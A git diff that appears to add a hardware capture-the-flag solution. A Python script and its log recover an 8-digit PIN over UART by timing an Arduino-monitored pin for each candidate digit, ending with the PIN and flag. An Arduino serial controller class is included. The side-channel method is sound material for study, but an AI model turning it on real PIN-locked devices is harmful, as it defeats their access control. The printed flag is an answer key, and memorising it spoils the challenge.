+ selected = max(timings, key=timings.get)
+ else:
+ selected = '0'
+
+ discovered += selected
+ log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO")
+
+ # Progress display
+ print(f"\n ┌───────────────────────────────┐")
+ print(f" │ Progress: {discovered:<8} │")
+ print(f" └───────────────────────────────┘\n")
+
+ # Optional settle between positions; keep minimal if timing-sensitive
+ if POSITION_SETTLE_DELAY:
+ time.sleep(POSITION_SETTLE_DELAY)
+
+ log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS")
+ return discovered
+
+
+
+# ================================================================
+# Main Execution
+# ================================================================
+
+def main():
+ log("Initialising Arduino controller...", "INFO")
+ arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+ arduino.connect()
+ version = arduino.get_version()
+ log(f"Connected to Arduino firmware {version}", "INFO")
+
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO")
+
+ log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO")
+ ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
+ log("UART connection established", "INFO")
+
+ try:
+ pin = find_code(ser, arduino)
+ log(f"Discovered PIN: {pin}", "SUCCESS")
+ except KeyboardInterrupt:
+ log("Process interrupted by user", "ERROR")
+ except Exception as e:
+ log(f"Unexpected error: {e}", "ERROR")
+ finally:
+ ser.close()
+ arduino.disconnect()
+ log("Connections closed", "INFO")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/docs/12_solution.txt b/docs/12_solution.txt
new file mode 100644
index 0000000..00f88f5
--- /dev/null
+++ b/docs/12_solution.txt
@@ -0,0 +1,134 @@
+$> python3 12_solution.py
+[INFO] Initialising Arduino controller...
+[INFO] Connected to Arduino firmware VERSION:1.3.0
+[INFO] Configured Arduino input pin 2
+[INFO] Connecting to UART target on /dev/ttyUSB0 at 1199 baud...
+[INFO] UART connection established
+[INFO] Starting PIN discovery (timing with no mid-send UART checks)
+[INFO] Analysing position 1/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 959.00 ms
+[RESULT] Candidate '2' average LOW-delay: 972.00 ms
+[RESULT] Candidate '3' average LOW-delay: 959.00 ms
+[RESULT] Candidate '4' average LOW-delay: 962.00 ms
+[RESULT] Candidate '5' average LOW-delay: 962.00 ms
+[RESULT] Candidate '6' average LOW-delay: 962.00 ms
+[RESULT] Candidate '7' average LOW-delay: 959.00 ms
+[RESULT] Candidate '8' average LOW-delay: 961.00 ms
+[RESULT] Candidate '9' average LOW-delay: 963.00 ms
+[INFO] Position 1 selected: '2' (avg 972.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 2/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 969.00 ms
+[RESULT] Candidate '2' average LOW-delay: 973.00 ms
+[RESULT] Candidate '3' average LOW-delay: 972.00 ms
+[RESULT] Candidate '4' average LOW-delay: 971.00 ms
+[RESULT] Candidate '5' average LOW-delay: 980.00 ms
+[RESULT] Candidate '6' average LOW-delay: 971.00 ms
+[RESULT] Candidate '7' average LOW-delay: 970.00 ms
+[RESULT] Candidate '8' average LOW-delay: 973.00 ms
+[RESULT] Candidate '9' average LOW-delay: 971.00 ms
+[INFO] Position 2 selected: '5' (avg 980.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 25 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 3/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 980.00 ms
+[RESULT] Candidate '2' average LOW-delay: 981.00 ms
+[RESULT] Candidate '3' average LOW-delay: 989.00 ms
+[RESULT] Candidate '4' average LOW-delay: 981.00 ms
+[RESULT] Candidate '5' average LOW-delay: 982.00 ms
+[RESULT] Candidate '6' average LOW-delay: 981.00 ms
+[RESULT] Candidate '7' average LOW-delay: 980.00 ms
+[RESULT] Candidate '8' average LOW-delay: 979.00 ms
+[RESULT] Candidate '9' average LOW-delay: 982.00 ms
+[INFO] Position 3 selected: '3' (avg 989.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 4/8
+[RESULT] Candidate '0' average LOW-delay: 990.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '2' average LOW-delay: 990.00 ms
+[RESULT] Candidate '3' average LOW-delay: 992.00 ms
+[RESULT] Candidate '4' average LOW-delay: 991.00 ms
+[RESULT] Candidate '5' average LOW-delay: 991.00 ms
+[RESULT] Candidate '6' average LOW-delay: 990.00 ms
+[RESULT] Candidate '7' average LOW-delay: 992.00 ms
+[RESULT] Candidate '8' average LOW-delay: 991.00 ms
+[RESULT] Candidate '9' average LOW-delay: 991.00 ms
+[INFO] Position 4 selected: '1' (avg 1002.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 5/8
+[RESULT] Candidate '0' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '1' average LOW-delay: 999.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1001.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1003.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1001.00 ms
+[INFO] Position 5 selected: '5' (avg 1011.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 25315 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
diff --git a/docs/arduinIO.py b/docs/arduinIO.py
new file mode 100644
index 0000000..704d31d
--- /dev/null
+++ b/docs/arduinIO.py
@@ -0,0 +1,228 @@
+"""
+=====================================================================
+ARDUINO SERIAL CONTROLLER CLASS (PYTHON)
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+
+DESCRIPTION
+---------------------------------------------------------------------
+This module provides a class-based interface to communicate with
+the Arduino Serial Pin Control and Monitoring Firmware v1.3.0.
+
+It supports all implemented serial commands including:
+- Version retrieval
+- Dynamic pin mode configuration
+- Pin map querying
+- Output control (default state, timed pulse)
+- Input monitoring and state reading
+- Duration measurement and blocking wait
+
+=====================================================================
+DEPENDENCIES
+---------------------------------------------------------------------
+- pyserial (install with: pip install pyserial)
+
+=====================================================================
+EXAMPLE USAGE
+---------------------------------------------------------------------
+from arduino_controller import ArduinoController
+import time
+
+# Create controller instance
+arduino = ArduinoController(port="COM3", baudrate=115200)
+
+# Connect and initialise
+arduino.connect()
+print("Version:", arduino.get_version())
+
+# Configure pins
+arduino.set_mode(2, "INPUT")
+arduino.set_mode(8, "OUTPUT")
+arduino.set_mode(9, "OUTPUT")
+arduino.set_mode(10, "OUTPUT")
+arduino.set_mode(11, "OUTPUT")
+
+print("Pin map:", arduino.get_pinmap())
+
+# Set outputs low, pulse one pin, monitor input
+arduino.set_default(8, "LOW")
+arduino.set_default(9, "LOW")
+arduino.set_default(10, "LOW")
+arduino.set_default(11, "LOW")
+
+arduino.set_for(8, "HIGH", 300)
+arduino.watch(2)
+
+# Read input state and duration
+state = arduino.get_state(2)
+duration = arduino.get_duration(2)
+print(f"Pin 2 state: {state}, duration since change: {duration} ms")
+
+# Wait for a state change to HIGH
+arduino.wait_for(2, "HIGH")
+
+# Disconnect
+arduino.disconnect()
+=====================================================================
+"""
+
+import serial
+import time
+
+
+class ArduinoController:
+ """Provides a structured interface for Arduino serial control."""
+
+ def __init__(self, port, baudrate=115200, timeout=1.0):
+ self.port = port
+ self.baudrate = baudrate
+ self.timeout = timeout
+ self.ser = None
+
+ # -------------------------------------------------------------
+ # Connection management
+ # -------------------------------------------------------------
+ def connect(self):
+ """Establish serial connection and wait for READY signal."""
+ self.ser = serial.Serial(self.port, self.baudrate, timeout=self.timeout)
+ time.sleep(2) # Allow Arduino reset
+ while True:
+ line = self._read_line()
+ if line == "READY":
+ break
+
+ def disconnect(self):
+ """Close serial connection cleanly."""
+ if self.ser and self.ser.is_open:
+ self.ser.close()
+
+ # -------------------------------------------------------------
+ # Internal communication utilities
+ # -------------------------------------------------------------
+ def _send_command(self, command, expect_response=True):
+ """Send a command string to the Arduino."""
+ if not self.ser or not self.ser.is_open:
+ raise ConnectionError("Serial connection not established.")
+ self.ser.write((command + "\n").encode("utf-8"))
+ if expect_response:
+ return self._read_line()
+ return None
+
+ def _read_line(self):
+ """Read a single line from serial and strip whitespace."""
+ line = self.ser.readline().decode("utf-8").strip()
+ return line
+
+ # -------------------------------------------------------------
+ # Core command wrappers
+ # -------------------------------------------------------------
+ def get_version(self):
+ """Return firmware version."""
+ return self._send_command("GET_VERSION")
+
+ def set_mode(self, pin, mode):
+ """Configure a pin as INPUT or OUTPUT."""
+ return self._send_command(f"SET_MODE:{pin}:{mode}")
+
+ def get_pinmap(self):
+ """Return current pin assignments."""
+ return self._send_command("GET_PINMAP")
+
+ def set_default(self, pin, state):
+ """Set an output pin to a default HIGH or LOW state."""
+ return self._send_command(f"SET_DEFAULT:{pin}:{state}")
+
+ def set_for(self, pin, state, duration_ms):
+ """Set an output pin state for a specific duration (ms)."""
+ return self._send_command(f"SET_FOR:{pin}:{state}:{duration_ms}")
+
+ def watch(self, pin):
+ """Start watching an input pin for state changes."""
+ return self._send_command(f"WATCH:{pin}")
+
+ def watch_pin(self, pin, duration_ms=2000):
+ """
+ Activates WATCH mode for a pin and collects CHANGE events for a period.
+
+ Args:
+ pin (int): Input pin number to watch.
+ duration_ms (int): How long to listen for events.
+
+ Returns:
+ list of dict: [{'pin': int, 'state': str, 'duration_ms': int}, ...]
+ """
+ # Use the existing _send_command() method
+ self._send_command(f"WATCH:{pin}", expect_response=False)
+ messages = []
+ start = time.time()
+
+ while (time.time() - start) * 1000 < duration_ms:
+ if self.ser.in_waiting:
+ line = self._read_line()
+ if line.startswith("CHANGE:"):
+ # Example: CHANGE:2:HIGH:1421
+ parts = line.split(":")
+ if len(parts) == 4:
+ try:
+ messages.append({
+ 'pin': int(parts[1]),
+ 'state': parts[2],
+ 'duration_ms': int(parts[3])
+ })
+ except ValueError:
+ pass
+ time.sleep(0.005)
+
+ return messages
+
+
+ def get_state(self, pin):
+ """Return current state (HIGH or LOW) of a pin."""
+ response = self._send_command(f"GET_STATE:{pin}")
+ if response.startswith("STATE:"):
+ return response.split(":")[2]
+ return response
+
+ def get_duration(self, pin):
+ """Return duration since last state change."""
+ response = self._send_command(f"GET_DURATION:{pin}")
+ if response.startswith("DURATION:"):
+ return int(response.split(":")[2])
+ return response
+
+ def wait_for(self, pin, state):
+ """Block until specified pin reaches given state."""
+ response = self._send_command(f"WAIT_FOR:{pin}:{state}")
+ if response.startswith("WAIT_RESULT:"):
+ _, pin_str, final_state, duration = response.split(":")
+ return {"pin": int(pin_str), "state": final_state, "duration_ms": int(duration)}
+ return response
+
+ # -------------------------------------------------------------
+ # Continuous monitoring
+ # -------------------------------------------------------------
+ def monitor(self, callback=None):
+ """
+ Continuously read from serial and process change notifications.
+ Optionally pass a callback(line) for custom handling.
+ """
+ print("[INFO] Monitoring started. Press Ctrl+C to stop.")
+ try:
+ while True:
+ line = self._read_line()
+ if line:
+ if callback:
+ callback(line)
+ else:
+ print(line)
+ except KeyboardInterrupt:
+ print("\n[INFO] Monitoring stopped.")
+
+ # -------------------------------------------------------------
+ # Utility
+ # -------------------------------------------------------------
+ def flush(self):
+ """Flush serial input buffer."""
+ if self.ser:
+ self.ser.reset_input_buffer()
diff --git a/docs/pwnpad.png b/docs/pwnpad.png
new file mode 100644
index 0000000..80561e6
--- /dev/null
+++ b/docs/pwnpad.png
Binary files differ